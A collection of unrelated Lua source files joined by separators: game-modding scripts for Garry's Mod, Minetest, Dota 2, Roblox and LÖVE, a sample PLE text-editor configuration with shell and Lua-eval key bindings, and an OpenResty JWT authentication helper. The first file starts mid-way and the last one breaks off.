unwrap(self):Scale(vunwrap(vec))
end
--- Scales the absolute translation
-- @param num Amount to scale by
function vmatrix_methods:scaleTranslation(num)
checkluatype (num, TYPE_NUMBER)
unwrap(self):ScaleTranslation(num)
end
--- Sets the angles
-- @param ang New angles
function vmatrix_methods:setAngles(ang)
checktype(ang, ang_meta)
unwrap(self):SetAngles(SF.UnwrapObject(ang))
end
--- Sets the translation
-- @param vec New translation
function vmatrix_methods:setTranslation(vec)
checktype(vec, vec_meta)
unwrap(self):SetTranslation(vunwrap(vec))
end
--- Sets the forward direction of the matrix. First column
-- @param forward The forward vector
function vmatrix_methods:setForward(forward)
checktype(forward, vec_meta)
unwrap(self):SetForward(vunwrap(forward))
end
--- Sets the right direction of the matrix. Negated second column
-- @param right The right vector
function vmatrix_methods:setRight(right)
checktype(right, vec_meta)
unwrap(self):SetRight(vunwrap(right))
end
--- Sets the up direction of the matrix. Third column
-- @param up The up vector
function vmatrix_methods:setUp(up)
checktype(up, vec_meta)
unwrap(self):SetUp(vunwrap(up))
end
--- Sets a specific field in the matrix
-- @param row A number from 1 to 4
-- @param column A number from 1 to 4
-- @param value Value to set
function vmatrix_methods:setField(row, column, value)
unwrap(self):SetField(row, column, value)
end
--- Copies The matrix and returns a new matrix
-- @return The copy of the matrix
function vmatrix_methods:clone()
return wrap(Matrix(unwrap(self)))
end
--- Copies the values from the second matrix to the first matrix. Self-Modifies
-- @param src Second matrix
function vmatrix_methods:set(src)
checktype(src, vmatrix_metamethods)
unwrap(self):Set(unwrap(src))
end
--- Initializes the matrix as Identity matrix
function vmatrix_methods:setIdentity()
unwrap(self):Identity()
end
--- Returns whether the matrix is equal to Identity matrix or not
-- @return bool True/False
function vmatrix_methods:isIdentity()
return unwrap(self):IsIdentity()
end
--- Returns whether the matrix is a rotation matrix or not. Checks if the forward, right and up vectors are orthogonal and normalized.
-- @return bool True/False
function vmatrix_methods:isRotationMatrix()
return unwrap(self):IsRotationMatrix()
end
--- Inverts the matrix. Inverting the matrix will fail if its determinant is 0 or close to 0
-- @return bool Whether the matrix was inverted or not
function vmatrix_methods:invert()
return unwrap(self):Invert()
end
--- Inverts the matrix efficiently for translations and rotations
function vmatrix_methods:invertTR()
unwrap(self):InvertTR()
end
--- Translate the matrix
-- @param vec Vector to translate by
function vmatrix_methods:translate(vec)
checktype(vec, vec_meta)
unwrap(self):Translate(vunwrap(vec))
end
--- Converts the matrix to a 4x4 table
-- @return The 4x4 table
function vmatrix_methods:toTable()
return unwrap(self):ToTable()
end
--- Gets the rotation axis and angle of rotation of the rotation matrix
-- @return The axis of rotation
-- @return The angle of rotation
function vmatrix_methods:getAxisAngle()
local epsilon = 0.00001
local m = unwrap(self):ToTable()
local m00, m01, m02 = unpack(m[1])
local m10, m11, m12 = unpack(m[2])
local m20, m21, m22 = unpack(m[3])
if math.abs(m01-m10)< epsilon and math.abs(m02-m20)< epsilon and math.abs(m12-m21)< epsilon then
// singularity found
if math.abs(m01+m10) < epsilon and math.abs(m02+m20) < epsilon and math.abs(m12+m21) < epsilon and math.abs(m00+m11+m22-3) < epsilon then
return vwrap(Vector(1,0,0)), 0
end
// otherwise this singularity is angle = math.pi
local xx = (m00+1)/2
local yy = (m11+1)/2
local zz = (m22+1)/2
local xy = (m01+m10)/4
local xz = (m02+m20)/4
local yz = (m12+m21)/4
if xx > yy and xx > zz then
if xx < epsilon then
return vwrap(Vector(0, 0.7071, 0.7071)), math.pi
else
local x = math.sqrt(xx)
return vwrap(Vector(x, xy/x, xz/x)), math.pi
end
elseif yy > zz then
if yy < epsilon then
return vwrap(Vector(0.7071, 0, 0.7071)), math.pi
else
local y = math.sqrt(yy)
return vwrap(Vector(y, xy/y, yz/y)), math.pi
end
else
if zz < epsilon then
return vwrap(Vector(0.7071, 0.7071, 0)), math.pi
else
local z = math.sqrt(zz)
return vwrap(Vector(z, xz/z, yz/z)), math.pi
end
end
end
local axis = Vector(m21 - m12, m02 - m20, m10 - m01)
local s = axis:Length()
if math.abs(s) < epsilon then s=1 end
return vwrap(axis/s), math.acos(math.max(math.min(( m00 + m11 + m22 - 1)/2, 1), -1))
end
local function transposeMatrix(mat, destination)
local mat_tbl = mat:ToTable()
destination:SetForward( Vector(unpack(mat_tbl[1])) )
destination:SetRight( -Vector(unpack(mat_tbl[2])) ) -- SetRight negates the vector
destination:SetUp( Vector(unpack(mat_tbl[3])) )
destination:SetTranslation( Vector(unpack(mat_tbl[4])) )
destination:SetField(4, 1, mat_tbl[1][4])
destination:SetField(4, 2, mat_tbl[2][4])
destination:SetField(4, 3, mat_tbl[3][4])
destination:SetField(4, 4, mat_tbl[4][4])
end
--- Returns the transposed matrix
-- @return Transposed matrix
function vmatrix_methods:getTransposed()
local result = Matrix()
transposeMatrix(unwrap(self), result)
return wrap(result)
end
--- Transposes the matrix
function vmatrix_methods:transpose()
local m = unwrap(self)
transposeMatrix(m, m)
end
function vmatrix_metamethods.__add(lhs, rhs)
checktype(lhs, vmatrix_metamethods)
checktype(rhs, vmatrix_metamethods)
return wrap(unwrap(lhs) + unwrap(rhs))
end
function vmatrix_metamethods.__sub(lhs, rhs)
checktype(lhs, vmatrix_metamethods)
checktype(rhs, vmatrix_metamethods)
return wrap(unwrap(lhs) - unwrap(rhs))
end
function vmatrix_metamethods.__mul(lhs, rhs)
checktype(lhs, vmatrix_metamethods)
local rhsmeta = dgetmeta(rhs)
if rhsmeta == vmatrix_metamethods then
return wrap(unwrap(lhs) * unwrap(rhs))
elseif rhsmeta == vec_meta then
return vwrap(unwrap(lhs) * vunwrap(rhs))
else
SF.Throw("Matrix must be multiplied with another matrix or vector on right hand side", 2)
end
end
|
-- https://rubenwardy.com/minetest_modding_book/en/map/timers.html#active-block-modifiers
-- An ABM seems slow, but this is a great feature for cleaning up those crashs
-- MTG
minetest.register_abm({
nodenames = {"xray:mtg_stone"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "default:stone"})
end
})
minetest.register_abm({
nodenames = {"xray:mtg_dstone"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "default:desert_stone"})
end
})
minetest.register_abm({
nodenames = {"xray:mtg_sstone"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "default:sandstone"})
end
})
minetest.register_abm({
nodenames = {"xray:mtg_dsstone"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "default:desert_sandstone"})
end
})
minetest.register_abm({
nodenames = {"xray:mtg_ssstone"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "default:silver_sandstone"})
end
})
-- MCL (2 and 5)
minetest.register_abm({
nodenames = {"xray:mcl_stone"},
interval = xray.scan_frequency / 2, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "mcl_core:stone"})
end
})
minetest.register_abm({
nodenames = {"xray:mcl_granite"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "mcl_core:granite"})
end
})
minetest.register_abm({
nodenames = {"xray:mcl_andesite"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "mcl_core:andesite"})
end
})
minetest.register_abm({
nodenames = {"xray:mcl_diorite"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "mcl_core:diorite"})
end
})
minetest.register_abm({
nodenames = {"xray:mcl_sstone"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "mcl_core:sandstone"})
end
})
minetest.register_abm({
nodenames = {"xray:mcl_rsstone"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "mcl_core:redsandstone"})
end
})
-- MCL (5 only)
minetest.register_abm({
nodenames = {"xray:mcl_bstone"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "mcl_blackstone:blackstone"})
end
})
minetest.register_abm({
nodenames = {"xray:mcl_basalt"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "mcl_blackstone:basalt"})
end
})
minetest.register_abm({
nodenames = {"xray:mcl_netherrack"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "mcl_nether:netherrack"})
end
})
minetest.register_abm({
nodenames = {"xray:mcl_deepslate"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "mcl_deepslate:deepslate"})
end
})
-- NC
minetest.register_abm({
nodenames = {"xray:nc_stone"},
interval = 1, -- Run every X seconds
action = function(pos, node, active_object_count,
active_object_count_wider)
minetest.set_node(pos, {name = "nc_terrain:stone"})
end
}) |
-- Created by Elfansoer
--[[
Ability checklist (erase if done/checked):
- Scepter Upgrade
- Break behavior
- Linken/Reflect behavior
- Spell Immune/Invulnerable/Invisible behavior
- Illusion behavior
- Stolen behavior
]]
--------------------------------------------------------------------------------
modifier_dark_seer_vacuum_lua = class({})
--------------------------------------------------------------------------------
-- Classifications
function modifier_dark_seer_vacuum_lua:IsHidden()
return false
end
function modifier_dark_seer_vacuum_lua:IsDebuff()
return true
end
function modifier_dark_seer_vacuum_lua:IsStunDebuff()
return true
end
function modifier_dark_seer_vacuum_lua:IsPurgable()
return true
end
--------------------------------------------------------------------------------
-- Initializations
function modifier_dark_seer_vacuum_lua:OnCreated( kv )
-- references
self.damage = self:GetAbility():GetSpecialValueFor( "damage" )
if not IsServer() then return end
-- ability properties
self.abilityDamageType = self:GetAbility():GetAbilityDamageType()
-- set direction and speed
local center = Vector( kv.x, kv.y, 0 )
self.direction = center - self:GetParent():GetOrigin()
self.speed = self.direction:Length2D()/self:GetDuration()
self.direction.z = 0
self.direction = self.direction:Normalized()
-- apply motion
if not self:ApplyHorizontalMotionController() then
self:Destroy()
end
end
function modifier_dark_seer_vacuum_lua:OnRefresh( kv )
self:OnCreated( kv )
end
function modifier_dark_seer_vacuum_lua:OnRemoved()
end
function modifier_dark_seer_vacuum_lua:OnDestroy()
if not IsServer() then return end
self:GetParent():RemoveHorizontalMotionController( self )
-- apply damage
local damageTable = {
victim = self:GetParent(),
attacker = self:GetCaster(),
damage = self.damage,
damage_type = self.abilityDamageType,
ability = self:GetAbility(), --Optional.
}
ApplyDamage(damageTable)
end
--------------------------------------------------------------------------------
-- Modifier Effects
function modifier_dark_seer_vacuum_lua:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_OVERRIDE_ANIMATION,
}
return funcs
end
function modifier_dark_seer_vacuum_lua:GetOverrideAnimation()
return ACT_DOTA_FLAIL
end
--------------------------------------------------------------------------------
-- Status Effects
function modifier_dark_seer_vacuum_lua:CheckState()
local state = {
[MODIFIER_STATE_STUNNED] = true,
}
return state
end
--------------------------------------------------------------------------------
-- Motion Effects
function modifier_dark_seer_vacuum_lua:UpdateHorizontalMotion( me, dt )
local target = me:GetOrigin() + self.direction * self.speed * dt
me:SetOrigin( target )
end
function modifier_dark_seer_vacuum_lua:OnHorizontalMotionInterrupted()
self:Destroy()
end |
--[[
© 2018 Thriving Ventures AB do not share, re-distribute or modify
without permission of its author (gustaf@thrivingventures.com).
]]
--
-- 2 tables
-- 'buddies' -> Table containing the friends.
-- 'friends' -> Table containing CPPI friend entities.
--
serverguard.AddFolder("prop-protection")
local plugin = plugin
local autodeleteBypass = {}
local propBlacklist = {}
plugin:IncludeFile("shared.lua", SERVERGUARD.STATE.SHARED)
plugin:IncludeFile("sh_hooks.lua", SERVERGUARD.STATE.SHARED)
plugin:IncludeFile("sh_cppi.lua", SERVERGUARD.STATE.SHARED)
plugin:IncludeFile("sh_commands.lua", SERVERGUARD.STATE.SHARED)
plugin:IncludeFile("cl_panel.lua", SERVERGUARD.STATE.CLIENT)
gameevent.Listen("player_disconnect")
local function SAVE_BLACKLIST()
file.Write("serverguard/prop-protection/blacklist.txt", serverguard.von.serialize(propBlacklist), "DATA")
end
plugin:Hook("player_disconnect", "prop_protection.player_disconnect", function(data)
local steamID = data.networkid
if (not plugin.config:GetValue("autodelete") or autodeleteBypass[steamID]) then return end
for k, v in ipairs(ents.GetAll()) do
if (IsValid(v) and v.serverguard and v.serverguard.owner ~= game.GetWorld() and not v:IsPlayer()) then
if (v.serverguard.steamID == steamID) then
v:Remove()
end
end
end
end)
-- ?!
plugin:Hook("Think", "prop_protection.Think", function()
if (not plugin.config:GetValue("autodelete")) then return end
for k, v in ipairs(player.GetAll()) do
if (IsValid(v) and v:IsPlayer() and v:GetNetworkedString("serverguard_rank", "") ~= "") then
if (serverguard.player:HasPermission(v, "Bypass Prop Deletion")) then
autodeleteBypass[v:SteamID()] = true
else
if (autodeleteBypass[v:SteamID()]) then
autodeleteBypass[v:SteamID()] = nil
end
end
end
end
end)
local playerMeta = FindMetaTable("Player")
plugin:Hook("OnGamemodeLoaded", "prop_protection.OnGamemodeLoaded", function()
if (playerMeta.AddCount) then
local oldAddCount = playerMeta.AddCount
function playerMeta:AddCount(type, entity)
if (IsValid(entity)) then
entity:CPPISetOwner(self)
end
oldAddCount(self, type, entity)
end
end
if (cleanup) then
local oldCleanupAdd = cleanup.Add
function cleanup.Add(player, type, entity)
if (IsValid(player) and player:IsPlayer()) then
entity:CPPISetOwner(player)
end
oldCleanupAdd(player, type, entity)
end
end
if (undo) then
local oldUndoAddEntity = undo.AddEntity
local oldUndoSetPlayer = undo.SetPlayer
local oldUndoFinish = undo.Finish
local entityList = {}
local currentPlayer
function undo.AddEntity(entity)
if (IsValid(entity)) then
table.insert(entityList, entity)
end
oldUndoAddEntity(entity)
end
function undo.SetPlayer(player)
if (IsValid(player) and player:IsPlayer()) then
currentPlayer = player
end
oldUndoSetPlayer(player)
end
function undo.Finish()
if (IsValid(currentPlayer) and currentPlayer:IsPlayer()) then
for k, v in ipairs(entityList) do
if (not IsValid(v)) then continue end
v:CPPISetOwner(currentPlayer)
end
end
entityList = {}
currentPlayer = nil
oldUndoFinish()
end
end
end)
plugin:Hook("serverguard.LoadPlayerData", "prop_protection.LoadPlayerData", function(player)
player.serverguard.prop_protection = {
friends = {},
buddies = {},
spam = {
lastSpawnTime = 0,
lastAttemptTime = 0,
spawnAmount = 0,
cooldownTime = 3
}
}
end)
plugin:Hook("InitPostEntity", "prop_protection.InitPostEntity", function()
timer.Simple(0.5, function()
local entities = ents.GetAll()
for k, v in pairs(entities) do
if (IsValid(v) and not v:IsPlayer()) then
v.serverguard = {}
v:CPPISetOwner(game.GetWorld())
end
end
end)
local blacklistData = file.Read("serverguard/prop-protection/blacklist.txt", "DATA")
if (blacklistData) then
propBlacklist = serverguard.von.deserialize(blacklistData)
end
end)
plugin:Hook("EntityTakeDamage", "prop_protection.EntityTakeDamage", function(entity, dmginfo)
if (plugin.config:GetValue("propdamage")) then
if (IsValid(entity) and entity:IsPlayer() and dmginfo:GetDamageType() == DMG_CRUSH) then
dmginfo:ScaleDamage(0.0)
end
end
end)
plugin:Hook("PlayerUse", "prop_protection.PlayerUse", function(player, entity)
if (plugin.config:GetValue("useprotection")) then
local owner = entity:CPPIGetOwner()
-- Allow if the entity has no owner and take ownership.
if (not IsValid(owner) and owner ~= game.GetWorld()) then
entity:CPPISetOwner(player)
return true
end
if (serverguard.player:HasPermission(player, "Bypass Prop-Protection") or IsValid(owner) and (owner == player or plugin.IsFriend(owner, player))) then
return true
else
return false
end
end
end)
plugin:Hook("PlayerSpawnProp", "prop_protection.PlayerSpawnProp", function(player, model)
if (plugin.config:GetValue("propblacklist") and not serverguard.player:HasPermission(player, "Bypass Prop Blacklist")) then
for k, v in pairs(propBlacklist) do
if (string.lower(v) == string.lower(model)) then
serverguard.Notify(player, SERVERGUARD.NOTIFY.RED, "This prop cannot be spawned because it is on the blacklist!")
return false
end
end
end
if (plugin.config:GetValue("propspam") and not serverguard.player:HasPermission(player, "Bypass Prop Spam")) then
local info = player.serverguard.prop_protection.spam
if (CurTime() >= info.lastSpawnTime + info.cooldownTime) then
info.spawnAmount = 1
info.cooldownTime = 3
else
info.spawnAmount = info.spawnAmount + 1
info.lastAttemptTime = CurTime()
if (info.spawnAmount > 7) then
serverguard.Notify(player, SERVERGUARD.NOTIFY.RED, "You're spawning props too fast! Please wait " .. math.ceil((info.lastSpawnTime + info.cooldownTime) - CurTime()) .. " second(s).")
if (CurTime() < info.lastAttemptTime + 0.75) then
info.cooldownTime = math.Clamp(info.cooldownTime + 0.25, 1, 12)
end
return false
end
end
info.lastSpawnTime = CurTime()
end
end)
serverguard.netstream.Hook("sgPropProtectionRequestInformation", function(player, data)
local trace = player:GetEyeTrace()
if (IsValid(trace.Entity) and trace.Entity.serverguard and not trace.Entity:IsPlayer()) then
local data = trace.Entity.serverguard
serverguard.netstream.Start(player, "sgPropProtectionRequestInformation", {data.owner, trace.Entity, data.name, data.steamID, data.uniqueID})
end
end)
serverguard.netstream.Hook("sgPropProtectionCleanDisconnectedProps", function(player, data)
if (serverguard.player:HasPermission(player, "Manage Prop-Protection")) then
for k, entity in ipairs(ents.GetAll()) do
if (IsValid(entity) and entity.serverguard and entity.serverguard.owner ~= game.GetWorld() and not entity:IsPlayer()) then
if (not IsValid(entity.serverguard.owner)) then
entity:Remove()
end
end
end
serverguard.Notify(nil, SERVERGUARD.NOTIFY.GREEN, serverguard.player:GetName(player), SERVERGUARD.NOTIFY.WHITE, " has cleaned up all disconnected players' props.")
end
end)
serverguard.netstream.Hook("sgPropProtectionCleanProps", function(player, data)
if (serverguard.player:HasPermission(player, "Manage Prop-Protection")) then
local name = ""
local steamID = data
for k, entity in ipairs(ents.GetAll()) do
if (IsValid(entity) and entity.serverguard and entity.serverguard.owner ~= game.GetWorld() and not entity:IsPlayer()) then
if (entity.serverguard.steamID == steamID) then
name = entity.serverguard.name
entity:Remove()
end
end
end
if (name == "") then
serverguard.Notify(player, SERVERGUARD.NOTIFY.RED, "This player has no props.")
else
serverguard.Notify(nil, SERVERGUARD.NOTIFY.GREEN, player:Name(), SERVERGUARD.NOTIFY.WHITE, " has cleaned up ", SERVERGUARD.NOTIFY.GREEN, name, SERVERGUARD.NOTIFY.WHITE, string.Ownership(name, true) .. " props.")
end
end
end)
serverguard.netstream.Hook("sgPropProtectionUploadFriends", function(player, data)
player.serverguard.prop_protection = player.serverguard.prop_protection or {
friends = {},
buddies = {},
spam = {
lastSpawnTime = 0,
lastAttemptTime = 0,
spawnAmount = 0,
cooldownTime = 3
}
}
for k, v in pairs(data) do
table.insert(player.serverguard.prop_protection.buddies, steamID)
end
end)
serverguard.netstream.Hook("sgPropProtectionAddFriend", function(player, data)
local steamID = data[1]
local bRemove = data[2]
local buddies = player.serverguard.prop_protection.buddies
if (bRemove) then
for i = 1, #buddies do
if (buddies[i] == steamID) then
table.remove(player.serverguard.prop_protection.buddies, i)
break
end
end
else
table.insert(player.serverguard.prop_protection.buddies, steamID)
end
hook.Call("CPPIFriendsChanged", nil, player, player.serverguard.prop_protection.buddies)
end)
serverguard.netstream.Hook("sgPropProtectionAddBlacklist", function(player, data)
if (serverguard.player:HasPermission(player, "Manage Prop Blacklist")) then
if (type(data) ~= "string") then return end
if (table.HasValue(propBlacklist, data)) then
serverguard.Notify(player, SERVERGUARD.NOTIFY.RED, data, SERVERGUARD.NOTIFY.WHITE, " is already on the prop blacklist!")
return
end
table.insert(propBlacklist, data)
SAVE_BLACKLIST()
serverguard.Notify(player, SERVERGUARD.NOTIFY.GREEN, data, SERVERGUARD.NOTIFY.WHITE, " was added to the prop blacklist.")
end
end)
serverguard.netstream.Hook("sgPropProtectionRemoveBlacklist", function(player, data)
if (serverguard.player:HasPermission(player, "Manage Prop Blacklist")) then
if (type(data) ~= "string") then return end
for k, v in pairs(propBlacklist) do
if (v == data) then
table.remove(propBlacklist, k)
SAVE_BLACKLIST()
serverguard.Notify(player, SERVERGUARD.NOTIFY.GREEN, data, SERVERGUARD.NOTIFY.WHITE, " was removed from the prop blacklist.")
return
end
end
serverguard.Notify(player, SERVERGUARD.NOTIFY.RED, data, SERVERGUARD.NOTIFY.WHITE, " is not on the prop blacklist!")
end
end)
serverguard.netstream.Hook("sgPropProtectionGetBlacklist", function(player, data)
if (serverguard.player:HasPermission(player, "Manage Prop Blacklist") and player.sgBlacklistData == nil) then
local blacklistCount = table.Count(propBlacklist)
if (blacklistCount > 0) then
serverguard.netstream.StartChunked(player, "sgPropProtectionGetBlacklistChunk", propBlacklist)
end
end
end) |
local function init()
DarkRP.removeChatCommand("advert")
DarkRP.declareChatCommand({
command = "advert",
description = "Displays an advertisement to everyone in chat.",
delay = 1.5
})
if (SERVER) then
DarkRP.defineChatCommand("advert",function(ply,args)
if args == "" then
DarkRP.notify(ply, 1, 4, DarkRP.getPhrase("invalid_x", "argument", ""))
return ""
end
local DoSay = function(text)
if text == "" then
DarkRP.notify(ply, 1, 4, DarkRP.getPhrase("invalid_x", "argument", ""))
return
end
for k,v in pairs(player.GetAll()) do
local col = team.GetColor(ply:Team())
DarkRP.talkToPerson(v, col, "[Advert] " .. ply:Nick(), Color(255, 255, 0, 255), text, ply)
end
end
hook.Call("playerAdverted", nil, ply, args)
return args, DoSay
end,1.5)
end
end
if (SERVER) then
if (#player.GetAll() > 0) then
init()
else
hook.Add("PlayerInitialSpawn","dfca-load",function()
init()
end)
end
else
hook.Add("InitPostEntity","dfca-load",function()
init()
end)
end |
-- create node Multiply
require "moon.sg"
local node = moon.sg.new_node("sg_mul")
if node then
node:set_pos(moon.mouse.get_position())
end |
local authapp = require "authapp"
local cas = require "cas"
local http = require "resty.http"
local cjson_safe = require "cjson.safe"
-- Gets a JWT from a session cookie, if there
-- is a valid one.
local function get_jwt_from_session_cookie()
local session, netid = cas.session_and_netid()
-- There is no netid in the session, do nothing.
if netid == nil then
return session, netid, nil, "invalid or non-existant session"
end
local jwt, err, status_code = authapp.fetch_user_jwt(netid)
if jwt == nil or err ~= nil or status_code ~= ngx.HTTP_OK then
return session, netid, nil, "error fetching jwt"
end
return session, netid, jwt, nil
end
local function set_jwt_auth_from_session_cookie()
local session, netid, jwt, err = get_jwt_from_session_cookie()
-- If there's an error, do nothing and return
if jwt == nil or err ~= nil then
return false
end
ngx.req.set_header("Authorization", "Bearer " .. jwt)
return true
end
local function not_empty(s)
return s ~= nil and s ~= ''
end
local function all_trim(s)
return s:match( "^'*(.-)'*$" )
end
local function print_openapi_spec(jwt)
local httpc = http.new()
local options = {
path = "/",
keepalive_timeout = 60000,
keepalive_pool = 2
}
if jwt ~= nil then
options.headers = {
["Authorization"] = "Bearer " .. jwt,
}
end
local res, err = httpc:request_uri("http://" .. authapp.postgrest_host .. ":" .. authapp.postgrest_port, options)
-- If there is an error, return an error
if err ~= nil or not res then
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR
return
end
-- Parse the JSON response
local data, err = cjson_safe.decode(res.body)
if data == nil or err ~= nil then
ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR
return
end
local api_data = cjson_safe.decode(res.body)
local swagger_info_title = os.getenv('SWAGGER_INFO_TITLE')
local swagger_info_description = os.getenv('SWAGGER_INFO_DESCRIPTION')
if api_data.info then
if not_empty(swagger_info_title) then
api_data.info.title = all_trim(swagger_info_title, '\'')
end
if not_empty(swagger_info_description) then
api_data.info.description = all_trim(swagger_info_description, '\'')
end
end
-- TODO: fix the hard-coding of /rest/ here, which in truth could
-- vary. This is the prefix for postgrest. It should be stored in
-- an environment variable and then likely also an nginx variable.
api_data.host = ngx.var.host
api_data.basePath = "/rest/"
api_data.schemes = {ngx.var.scheme}
-- Add JWT auth option to swagger-ui. This will give the user
-- the option to pasted in their JWT. Note they'll need to put
-- "Bearer " before the JWT.
-- See https://github.com/PostgREST/postgrest/issues/1082
api_data.securityDefinitions = {
jwt = {
name = "Authorization",
type = "apiKey",
},
}
-- Have to do this because "in" is a reserved word
api_data.securityDefinitions.jwt["in"] = "header"
api_data.security = {{jwt=cjson_safe.empty_array}}
api_data.responses = {
UnauthorizedError = {
description = "JWT authorization is missing, invalid, or insufficient"
}
}
local output = cjson_safe.encode(api_data)
ngx.print(output)
end
return {
get_jwt_from_session_cookie = get_jwt_from_session_cookie;
set_jwt_auth_from_session_cookie = set_jwt_auth_from_session_cookie;
print_openapi_spec=print_openapi_spec;
}
|
--should be placed in a SERVERSCRIPT
game.Players.PlayerAdded:Connect(function(Player)
local MaxStamina = Instance.new("IntValue",Player)
MaxStamina.Name = "MaxStamina"
MaxStamina.Value = 100
local Stamina = Instance.new("IntValue",Player)
Stamina.Name = "Stamina"
Stamina.Value = MaxStamina.Value
end)
|
function love.conf(t)
t.author = "profan"
t.identity = nil
t.version = "0.10.1"
t.release = false
t.console = false
t.window.title = "DSVJAM 16"
t.window.icon = nil
t.window.width = 640
t.window.height = 480
t.window.vsync = true
t.window.fsaa = 0
t.window.fullscreen = false
t.window.borderless = false
t.window.resizable = false
t.window.highdpi = false
t.window.srgb = false
t.modules.audio = true
t.modules.event = true
t.modules.graphics = true
t.modules.image = true
t.modules.math = true
t.modules.mouse = true
t.modules.sound = true
t.modules.system = true
t.modules.timer = true
t.modules.thread = false
t.modules.joystick = false
t.modules.physics = false
end
|
-- a sample PLE configuration / extension file
------------------------------------------------------------------------
-- The configuration file is looked for in sequence at the
-- following locations:
-- - the file which pathname is in the environment variable PLE_INIT
-- - ./ple_init.lua
-- - ~/config/ple/ple_init.lua
--
--The first file found, if any, is loaded.
------------------------------------------------------------------------
local strf = string.format
-- Configuration
-- Configuration variables and editor extension API are available
-- through the 'editor' global object.
-- editor.tabspaces: defines how the TAB key should be handled.
-- n:integer :: number of spaces to insert when the TAB key is pressed
-- (according to cursor position)
-- eg.: editor.tabspaces = 4
-- or false :: insert a TAB char (0x09) when the TAB key is pressed
-- eg.: editor.tabspaces = false
--~ editor.tabspaces = 8
editor.tabspaces = false
-- Extension API -- when writing extensions, it is recommended to use only
-- functions defined in the editor.actions table (see ple.lua)
local e = editor.actions
-- all editor.actions functions take a buffer object as first parameter
-- and additional parameters for some functions.
-- A common error is to call an editor.actions function without the buffer
-- object as first parameter (see examples below).
-- SHELL command
-- Add a new action "line_shell" which takes the current line,
-- passes it as a command to the shell and inserts the result
-- after the current line.
local function line_shell(b)
-- the function will be called with the current buffer as
-- the first argument. So here, b is the current buffer.
--
-- get the current line
local line = e.getline(b)
-- the shell command is the content of the line
local cmd = line
-- make sure we also get stderr...
cmd = cmd .. " 2>&1 "
-- execute the shell command
local fh, err = io.popen(cmd)
if not fh then
editor.msg("newline_shell error: " .. err)
return
end
local ll = {} -- read lines into ll
for l in fh:lines() do
table.insert(ll, l)
end
fh:close()
-- go to end of line
-- (DO NOT forget the buffer parameter for all e.* functions)
e.goend(b)
-- insert a newline at the cursor
e.nl(b)
-- insert the list of lines at the cursor
-- e.insert() can be called with either a list of lines or a string
-- that may contain newlines ('\n') characters
-- lines should NOT contain '\n' characters
e.insert(b, ll)
-- insert another newline and a separator line
e.nl(b)
e.insert(b, '---\n')
-- the previous line is equivalent to
-- e.insert(b, '---'); e.nl(b)
end
-- bind the line_shell function to ^X^M (or ^X-return)
editor.bindings_ctlx[13] = line_shell
-- EDIT FILE AT CURSOR
-- assume the current line contains a filename.
-- get the filename and open the file in a new buffer
--
local function edit_file_at_cursor(b)
local line = e.getline(b)
-- (FIXME) assume the line contains only the filename
local fname = line
e.findfile(b, fname)
end
-- bind function to ^Xe (string.byte"e" == 101)
editor.bindings_ctlx[101] = edit_file_at_cursor -- ^Xe
-- EVAL LUA BUFFER
-- eval buffer as a Lua chunk
-- Beware! the chunk is evaluated **in the editor environment**
-- which can be a way to shoot oneself in the foot!
-- chunk evaluation result is inserted at the end
-- of the buffer in a multi-line comment.
function e.eval_lua_buffer(b)
local msg = editor.msg
-- msg(m) can be used to diplay a short message (a string)
-- at the last line of the terminal
local strf = string.format
-- get the number of lines in the buffer
-- getcur() returns the cursor position (line and column indexes)
-- and the number of lines in the buffer.
local ci, cj, ln = e.getcur(b) -- ci, cj are ignored here.
-- get content of the buffer
local t = {}
for i = 1, ln do
table.insert(t, e.getline(b, i))
end
-- txt is the content of the buffer as a string
local txt = table.concat(t, "\n")
-- eval txt as a Lua chunk **in the editor environment**
local r, s, fn, errmsg, result
fn, errmsg = load(txt, "buffer", "t") -- load the Lua chunk
if not fn then
result = strf("load error: %s", errmsg)
else
pr, r, errm = pcall(fn)
if not pr then
result = strf("lua error: %s", r)
elseif not r then
result = strf("return: %s, %s", r, errmsg)
else
result = r
end
end
-- insert result in a comment at end of buffer
e.goeot(b) -- go to end of buffer
e.nl(b) -- insert a newline
--insert result
e.insert(b, strf("--[[\n%s\n]]", tostring(result)))
return
end
-- bind function to ^Xl (string.byte"l" == 108)
editor.bindings_ctlx[108] = e.eval_lua_buffer -- ^Xl
------------------------------------------------------------------------
-- append some text to the initial message displayed when entering
-- the editor
editor.initmsg = editor.initmsg .. " - Sample ple_init.lua loaded. "
|
local GameState = require 'game.state.game_state'
local ww, wh = love.graphics.getDimensions()
local Splash = {}
Splash.__index = Splash
setmetatable(Splash, { __index = GameState })
function Splash.create()
local self = GameState.create()
setmetatable(self, Splash)
self.startTime = nil
self.done = false
return self
end
function Splash:load()
self.startTime = love.timer.getTime()
self.image = love.graphics.newImage('res/images/Title_screen.png')
